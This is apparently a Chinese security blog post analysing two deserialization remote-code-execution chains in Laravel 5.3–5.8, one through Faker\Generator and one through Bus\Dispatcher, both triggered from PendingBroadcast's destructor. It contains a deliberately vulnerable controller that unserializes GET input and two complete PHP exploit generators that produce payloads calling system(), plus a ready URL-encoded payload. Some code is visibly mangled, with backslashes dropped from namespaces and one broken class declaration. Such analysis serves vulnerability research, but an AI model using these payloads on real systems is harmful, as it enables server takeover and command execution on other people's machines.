Laravel由destrcuct引起的两处反序列化RCE分析

 

laravel本身没有反序列化的调用机制,只有依赖于二次开发或者敏感函数才能触发反序列化。在Laravel5.3以后的版本引入IlluminateBroadcastingPendingBroadcast.php文件,存在__destrcut魔法函数引发一系列问题。这里我对框架本身能造成rce的点进行分析,一处是三方组件fzaninotto的回调调用call_user_func_array造成的rce,另一处是p神在lumenserial找到laravel核心库的一处任意函数调用。

Laravel自加载组件fzaninotto组件RCE

版本说明

fzaninotto在laravel 5.1以后composer默认安装

autoload_classmap.php可以看到,在进行依赖加载的时候默认将/fzaninotto/faker/src/Faker/Generator.php注册到全局变量$classmap中,在程序调用相关类时遵从PSR4的规范,也就是说我们反序列化是可以调用/fzaninotto/faker/src/Faker/目录下的任何文件。

适用条件

  • laravel 5.3-5.8
  • 寻找可控的反序列化点,才能触发该漏洞

 

漏洞复现

环境搭建

本地搭建laravel最新的环境 5.8.29

构造一个反序列化可控点,在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:

<?php
namespace AppHttpControllers;

class TaskController
{
    public function index(){
        unserialize($_GET['url']);
    }
}

routes/web.php文件中添加这样路由记录

Route::get('/bug', 'TaskController@index');

 

漏洞复现

EXP

<?php
//exp.php
namespace Faker{
    class Generator{
        protected $formatters = array();

        public function __construct($formatters)
        {
            $this->formatters = $formatters;
        }
    }
}

namespace IlluminateBroadcasting{
    class PendingBroadcast.php``
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }
}

namespace{
    $generator = new FakerGenerator(array("dispatch"=>"system"));
    $PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($generator,"id");
    echo urlencode(serialize($PendingBroadcast));

}

运行exp.php生成poc,如果环境搭建没有问题,直接请求下面的uri既能看到rce效果

bug?url=O%3A40%3A"Illuminate%5CBroadcasting%5CPendingBroadcast"%3A2%3A%7Bs%3A9%3A"%00%2A%00events"%3BO%3A15%3A"Faker%5CGenerator"%3A1%3A%7Bs%3A13%3A"%00%2A%00formatters"%3Ba%3A1%3A%7Bs%3A8%3A"dispatch"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A8%3A"%00%2A%00event"%3Bs%3A2%3A"id"%3B%7D

EXP流程

在入口设置断点,传入payload

步入IlluminateFoundationAliasLoader的load函数,检测要实例的对象是否是laravel注册门面类,这里不满足条件

因此步入ComposerAutoloadClassLoader查找相应class对应于vendor中的php文件。也就是上文提到的laravel在加载服务容器时会执行的autoload_class作用结果

看到调用栈能够成功读取到FakerGenerato文件,并返回给includefile()

载入文件后步入到了反序列化的入口__destruct函数

步入执行dispatch函数,跳转到vendor/fzaninotto/faker/src/Faker/Generator.php的call方法

跟进format函数如下图,发现此时的$arguments为可控值即我们序列化传入的$this->event

继续步入看看getFormatter函数的具体实现

public function getFormatter($formatter) # formatter  = dispatch
{
    if (isset($this->formatters[$formatter])) { # formatters可控
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

判断formatters[formatter]存在即返回,然而formatters也是我们可控的,那就能返回任意函数名了。即call_user_func_arrary的函数名和函数值都可控,rce实现~

 

Dispatcher处存在任意函数调用

首先还是看一下造成漏洞的点在vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php,允许我们使用call_user_func进行任意函数调用,且参数可控。

接着我们从源头追pop。入口方法依然在vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php中,__destrcut执行dispatch函数

这次全局搜索哪些类存在dispatch函数,正好dispatcher本身中就存在,而且调用到了漏洞触发函数dispatchToQueue去执行call_user_func

这里首先进行了如下条件判断

$this->queueResolver && $this->commandShouldBeQueued($command)

跟进commandShouldBeQueued发现command参数必须是继承自 ShouldQueue接口的对象才能进入判断,这点我们可以通过序列化控制$command为对象。

只需要全局搜一下哪个类实现了ShouldQueue接口,这里使用BroadcastEvent

判断走通回到dispather,进行函数dispatchToQueue调用,$connection参数取自$command的connection属性

但是BroadcastEvent没有connection属性。不过没有关系,我们自己序列化可以给类添加任何想要的属性。因为反序列化的时候不执行该类__contrust,自然也不会在BroadcastEvent中报错。

流程就这么简单,构造每个类的属性,让条件走通就行了。构造的exp

<?php

namespace IlluminateBroadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace IlluminateBus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new IlluminateBroadcastingBroadcastEvent("whoami");

    $dispater = new IlluminateBusDispatcher("system");

    $PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($dispater,$command);

    echo urlencode(serialize($PendingBroadcast));

}

只不过是没有回显,需要我们可以外带出去,这里调试的结果成功执行system获取whoami为hpdoger

(完)